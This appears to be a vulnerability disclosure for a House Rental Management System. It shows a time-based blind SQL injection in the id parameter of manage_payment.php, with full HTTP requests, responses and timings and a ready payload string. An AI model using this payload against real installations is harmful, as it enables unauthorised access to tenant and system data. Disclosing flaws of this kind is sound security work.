

SQL injection vulnerability exists in id parameter of manage\_payment.php file of House Rental Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 GET /houserental/manage_payment.php?id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(4)))V) HTTP/1.1
2 Accept: */*
3 x-requested-with: XMLHttpRequest
4 Referer: http://192.168.31.163/houserental/
5 Cookie: PHPSESSID=cfdvfdp660riajk3p660s7mmnf
6 Accept-Encoding: gzip, deflate, br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:10:05 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 3452
8
9 <div class="container-fluid">
10 <form action="" id="manage-payment">
11 <input type="hidden" name="id" value="1">
12 <div id="msg">
13 </div>
14 <div class="form-group">
15 <label for="" class="control-label">
16 Tenant
17 </label>
18 <select name="tenant_id" id="tenant_id" class=""
19 custom-select select2">
20 <option value="">
21 </option>
22 <option value="2" selected>
23 Smith, John C
24 </option>
25 </select>
26 </div>
27 <div class="form-group" id="details">
28 </div>
29 </div>
```

Done 3,642 bytes 4,006 millis

Sleep time is 8s:

**Request**

```
1 GET /houserental/manage_payment.php?id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(8)))V) HTTP/1.1
2 Accept: */*
3 x-requested-with: XMLHttpRequest
4 Referer: http://192.168.31.163/houserental/
5 Cookie: PHPSESSID=cfdvfdp660riajk3p660s7mmnf
6 Accept-Encoding: gzip, deflate, br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Wed, 10 Apr 2024 13:09:11 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 3452
8
9 <div class="container-fluid">
10 <form action="" id="manage-payment">
11 <input type="hidden" name="id" value="1">
12 <div id="msg">
13 </div>
14 <div class="form-group">
15 <label for="" class="control-label">
16 Tenant
17 </label>
18 <select name="tenant_id" id="tenant_id" class=""
19 custom-select select2">
20 <option value="">
21 </option>
22 <option value="2" selected>
23 Smith, John C
24 </option>
25 </select>
26 </div>
27 <div class="form-group" id="details">
28 </div>
29 </div>
```

Done 3,642 bytes 8,014 millis

Payload: id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(4)))V)

Source Download:

<https://www.campcodes.com/projects/php/house-rental-management-system/>